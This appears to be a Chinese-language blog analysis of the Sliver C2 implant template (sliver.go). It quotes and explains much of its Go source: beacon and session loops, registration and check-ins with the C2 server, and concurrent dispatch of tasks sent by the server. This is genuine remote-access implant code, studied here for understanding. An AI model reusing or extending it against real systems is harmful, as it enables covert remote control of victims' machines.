简述
implant/sliver/sliver.go这个文件就是生成木马的模版文件,生成的木马会根据配置和这个模版文件生成所需的木马,下面来看下这个模版文件的代码.
条件编译
// {{if .Config.IsService}}
"golang.org/x/sys/windows/svc"
// {{end}}
在这个文件中可以看到很对类似这样的代码块,这块代码是模版语法中的条件编译,含义是如果 Config.IsService为true,则导入golang.org/x/sys/windows/svc包,否则忽略此导入语句.这样可以在编译时根据配置选择性地编译某些代码.
流程分析
main
执行入口是main函数,首先是根据是否打开deug来决定是否要要把日志保存在日志文件中.
// {{if .Config.Debug}}
log.SetFlags(log.LstdFlags | log.Lshortfile)
debugFilePath := "{{ .Config.DebugFile }}"
if debugFilePath != "" {
// Open the log file for writing
file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err == nil {
log.SetOutput(file)
}
}
// {{else}}
// {{end}}
limits.ExecLimits()是来根据一些条件来判断是否要继续执行还是直接退出,比如根据平台、用户名、hostname等条件.
然后根据配置决定是进行session模式还是进入Beacon模式.
// {{if .Config.IsService}}
svc.Run("", &sliverService{})
// {{else}}
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}} ------- IsBeacon/IsSession -------
sessionStartup()
// {{end}}
// {{end}} ------- IsService -------
Beacon模式
beaconStartup
这个函数在信标模式下运行.它启动信标循环,处理信标连接并处理错误和重新连接逻辑.
abort := make(chan struct{})
defer func() {
abort <- struct{}{}
}()
这段代码用来初始化并定义退出信号通道.
beacons := transports.StartBeaconLoop(abort)
transports.StartBeaconLoop函数启动Beacon循环,并返回一个包含Beacon的通道.这个通道会持续接收新的Beacon.
接收到Beacon就要开始进行处理,处理如下:
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
// {{end}}
if beacon != nil {
err := beaconMainLoop(beacon)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
}
然后就是获取获取重连间隔时间,休眠指定时间后重新进入循环,尝试接收下一个Beacon并进行处理.
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
// {{end}}
time.Sleep(reconnect)
beaconMainLoop
这个函数负责处理单个Beacon的生命周期,包括初始化、启动、注册、运行主逻辑和清理.
初始化 Beacon
err := beacon.Init()
if (err != nil) {
// {{if .Config.Debug}}
log.Printf("Beacon init error: %s", err)
// {{end}}
return err
}
在函数退出时清理beacon
defer func() {
err := beacon.Cleanup()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] cleanup failure %s", err)
// {{end}}
}
}()
启动Beacon,如果启动失败,在Debug模式下记录错误,增加连接错误计数器.如果连接错误次数超过最大允许次数,返回错误.
err = beacon.Start()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Error starting beacon: %s", err)
// {{end}}
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return err
}
return nil
}
connectionErrors = 0
注册 Beacon
// {{if .Config.Debug}}
log.Printf("Registering beacon with server")
// {{end}}
nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: InstanceID,
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
time.Sleep(time.Second)
beacon.Close()
计算下次检查时间nextCheckin,创建并初始化register对象.使用beacon.Send()发送Beacon注册信息,暂停1秒后关闭Beacon.
接下来就是进行Beacon主循环,来处理Beacon.
errors := make(chan error)
shortCircuit := make(chan struct{})
for {
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
oldInterval := beacon.Interval()
err := beaconMain(beacon, nextCheckin)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] main error: %v", nextCheckin)
// {{end}}
errors <- err
} else if oldInterval != beacon.Interval() {
shortCircuit <- struct{}{}
}
}()
// {{if .Config.Debug}}
log.Printf("[beacon] sleep until %v", nextCheckin)
// {{end}}
select {
case err := <-errors:
return err
case <-time.After(duration):
case <-shortCircuit:
}
}
return nil
定义errors和shortCircuit通道,用于错误处理和短路控制.进入主循环,每次计算新的检查时间nextCheckin.启动一个协程调用beaconMain(beacon, nextCheckin).如果beaconMain返回错误,并发送错误到errors通道.如果Beacon的间隔时间改变,发送信号到shortCircuit通道.
使用select语句等待错误、超时或短路信号.如果收到错误,返回错误;如果收到短路信号,重新开始循环.
beaconMain
此函数处理单个Beacon在一个检查周期内的任务,包括启动Beacon、发送检查信息、接收任务、处理任务并发送结果.
启动Beacon
err := beacon.Start()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] start failure %s", err)
// {{end}}
return err
}
调用beacon.Start()启动Beacon.
在执行完这个函数后要执行的操作:暂停1秒、关闭beacon
defer func() {
// {{if .Config.Debug}}
log.Printf("[beacon] closing ...")
// {{end}}
time.Sleep(time.Second)
beacon.Close()
}()
发送检查信息,使用beacon.Send()发送检查信息,包含Beacon ID和下次检查的时间.
// {{if .Config.Debug}}
log.Printf("[beacon] sending check in ...")
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] send failure %s", err)
// {{end}}
return err
}
接收任务
// {{if .Config.Debug}}
log.Printf("[beacon] recv task(s) ...")
// {{end}}
envelope, err := beacon.Recv()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] recv failure %s", err)
// {{end}}
return err
}
if envelope == nil {
// {{if .Config.Debug}}
log.Printf("[beacon] read nil envelope (no tasks)")
// {{end}}
return nil
}
使用beacon.Recv()接收任务.如果收到的任务封装envelope为nil,表示没有任务.
解析任务,创建tasks对象,并使用proto.Unmarshal()解析收到的任务数据.
tasks := &sliverpb.BeaconTasks{}
err = proto.Unmarshal(envelope.Data, tasks)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] unmarshal failure %s", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Printf("[beacon] received %d task(s) from server", len(tasks.Tasks))
// {{end}}
if len(tasks.Tasks) == 0 {
return nil
}
分类任务,将任务分类为tasksExtensionRegister和tasksOther,确保扩展任务在普通任务之前处理.
var tasksExtensionRegister []*sliverpb.Envelope
var tasksOther []*sliverpb.Envelope
for _, task := range tasks.Tasks {
switch task.Type {
case sliverpb.MsgRegisterExtensionReq:
tasksExtensionRegister = append(tasksExtensionRegister, task)
default:
tasksOther = append(tasksOther, task)
}
}
处理任务并发送结果,使用beaconHandleTasklist处理tasksExtensionRegister和tasksOther,将结果存储在results 中.使用beacon.Send()发送处理结果.
var results []*sliverpb.Envelope
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
results = append(results, r)
}
for _, r := range beaconHandleTasklist(tasksOther) {
results = append(results, r)
}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
Tasks: results,
}))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] error sending results %s", err)
// {{end}}
}
beaconHandleTasklist
用于处理传入的一组任务,并返回处理结果.每个任务根据其类型分配给适当的处理程序(handler)来执行.任务的执行是并发进行的,并且函数会等待所有任务完成后再返回结果.
初始化
results := []*sliverpb.Envelope{}
resultsMutex := &sync.Mutex{}
wg := &sync.WaitGroup{}
sysHandlers := handlers.GetSystemHandlers()
specHandlers := handlers.GetKillHandlers()
results:用于存储任务处理的结果.
resultsMutex:用于保护results的并发访问.
sysHandlers和specHandlers:获取系统任务处理程序和特定任务处理程序的映射.
遍历任务列表
for _, task := range tasks {
// {{if .Config.Debug}}
log.Printf("[beacon] execute task %d", task.Type)
// {{end}}
if handler, ok := sysHandlers[task.Type]; ok {
wg.Add(1)
data := task.Data
taskID := task.ID
// {{if eq .Config.GOOS "windows" }}
go func() {
defer wg.Done()
handlers.WrapperHandler(handler, data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
})
})
}()
// {{else}}
go func() {
defer wg.Done()
handler(data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
})
})
}()
// {{end}}
} else if task.Type == sliverpb.MsgOpenSession {
go openSessionHandler(task.Data)
resultsMutex.Lock()
results = append(results, &sliverpb.Envelope{
ID: task.ID,
Data: []byte{},
})
resultsMutex.Unlock()
} else if handler, ok := specHandlers[task.Type]; ok {
wg.Add(1)
handler(task.Data, nil)
} else {
resultsMutex.Lock()
results = append(results, &sliverpb.Envelope{
ID: task.ID,
UnknownMessageType: true,
})
resultsMutex.Unlock()
}
}
遍历传入的任务列表tasks,对每个任务,根据任务类型查找相应的处理程序并执行.
任务类型在sysHandlers中的类型,则开启协程并发执行该处理程序.
任务类型为sliverpb.MsgOpenSession,则用openSessionHandler来处理任务.
任务类型在specHandlers中的类型,则直接处理.
任务类型为其它类型,则将任务标记UnknownMessageType并添加到results.
openSessionHandler
用于处理打开会话的任务并解析任务数据,启动连接循环,并尝试与服务器建立连接.
解析数据,创建一个 sliverpb.OpenSession 对象,并使用 proto.Unmarshal 解析传入的数据
openSession := &sliverpb.OpenSession{}
err := proto.Unmarshal(data, openSession)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
处理延迟,如果openSession中指定了延迟时间,则等待相应的时间.
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
// {{end}}
time.Sleep(time.Duration(openSession.Delay))
}
开启一个协程进行尝试连接
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(abort, openSession.C2S...)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
connectionAttempts++
if connection != nil {
err := sessionMainLoop(connection)
if err == ErrTerminate {
connection.Cleanup()
return
}
if err == nil {
break
}
// {{if .Config.Debug}}
log.Printf("[beacon] failed to connect to server: %s", err)
// {{end}}
}
if len(openSession.C2S) <= connectionAttempts {
// {{if .Config.Debug}}
log.Printf("[beacon] failed to connect to server, max connection attempts reached")
// {{end}}
break
}
}
}()
在一个新的协程中启动连接尝试,确保不会阻塞主线程.
创建一个abort通道,并启动连接循环transports.StartConnectionLoop.使用defer确保在函数退出时向abort通道发送信号.初始化连接尝试计数connectionAttempts.
遍历从connections通道接收到的连接对象:
1
2
3
4
5
6
7
8
9
10
11
增加尝试连接计数器.
如果连接对象不为空,尝试通过 sessionMainLoop 进行会话处理.
如果sessionMainLoop返回ErrTerminate,清理连接并退出.
如果没有错误,退出循环.
如果有错误(在调试模式下记录错误日志).
如果连接尝试次数超过openSession.C2S中的连接数,退出循环.
sessionMainLoop
用于与服务器的交互,包括处理从服务器接收的消息,并根据消息类型调用进行对应的处理.
检查传入的connection是否为空,如果为空,并返回nil.
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
尝试启动连接,如果失败,返回错误.
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[session] failed to establish connection: %s", err)
// {{end}}
return err
}
启动所有监听器,并确保在函数退出时停止监听器和连接.
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
重置连接错误计数器,构造注册信息并发送到服务器.
connectionErrors = 0
register := registerSliver()
register.ActiveC2 = connection.URL()
register.ProxyURL = connection.ProxyURL()
connection.Send <- wrapEnvelope(sliverpb.MsgRegister, register) // Send registration information
获取不同类型消息的处理程序
pivotHandlers := handlers.GetPivotHandlers()
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetKillHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
处理从服务器接收到的消息,根据消息类型调用相应的处理程序.如果消息类型为特殊处理程序,返回ErrTerminate.如果消息类型为其他处理程序,启动相应的处理程序,并将结果发送回服务器.
for envelope := range connection.Recv {
envelope := envelope
if _, ok := specialHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] specialHandler %d", envelope.Type)
// {{end}}
return ErrTerminate
} else if handler, ok := pivotHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
// Since goroutines don't always execute in the same thread, but ImpersonateLoggedOnUser
// only applies the token to the calling thread, we need to call it before every task.
// It's fucking gross to do that here, but I could not come with a better solution.
// {{if .Config.Debug}}
log.Printf("[recv] sysHandler %d", envelope.Type)
// {{end}}
// {{if eq .Config.GOOS "windows" }}
go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
log.Printf("[session] handler function returned an error: %s", err)
}
// {{end}}
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: data,
}
})
// {{else}}
go handler(envelope.Data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
log.Printf("[session] handler function returned an error: %s", err)
}
// {{end}}
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: data,
}
})
// {{end}}
} else if handler, ok := tunHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] tunHandler %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if envelope.Type == sliverpb.MsgCloseSession {
return nil
} else {
// {{if .Config.Debug}}
log.Printf("[recv] unknown envelope type %d", envelope.Type)
// {{end}}
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: nil,
UnknownMessageType: true,
}
}
}
wrapEnvelope
用于创建一个包含特定类型和数据的信封(Envelope)对象.该函数的主要作用是将给定的 Protobuf消息序列化成字节数组,并将其封装到一个信封对象中.
session模式
此函数用于启动会话模式.
初始化一个abort通道,用于在函数结束时发送信号以终止正在进行的操作,使用defer语句确保在函数退出时发送终止信号.
abort := make(chan struct{})
defer func() {
abort <- struct{}{}
}()
调用transports.StartConnectionLoop(abort)函数启动一个连接循环,该函数返回一个通道connections,用于接收新建立的连接.
connections := transports.StartConnectionLoop(abort)
从connections通道接收连接对象connection.对每个非空的连接,调用sessionMainLoop(connection)函数处理会话的主要逻辑.如果sessionMainLoop返回非空错误,并且错误为ErrTerminate,则清理连接并返回.否则,增加connectionErrors 计数,并检查是否达到最大连接错误数限制,如果是则退出函数.
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
if err != nil {
if err == ErrTerminate {
connection.Cleanup()
return
}
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
}
session模式和Beacon模式相比是直接进行sessionMainLoop来处理每个连接,Beacon模式则进行一些其他的处理,比如初始化Beacon、启动Beacon、注册Beacon、关闭Beacon等操作.
session模式剩下的流程和Beacon模式 sessionMainLoop之后的流程是一样的,不再进行赘述.
总结
Beacon模式和session都可以选择,Beacon模式额外处理了一些Beaconde的初始化、启动、注册、运行主逻辑和清理等操作.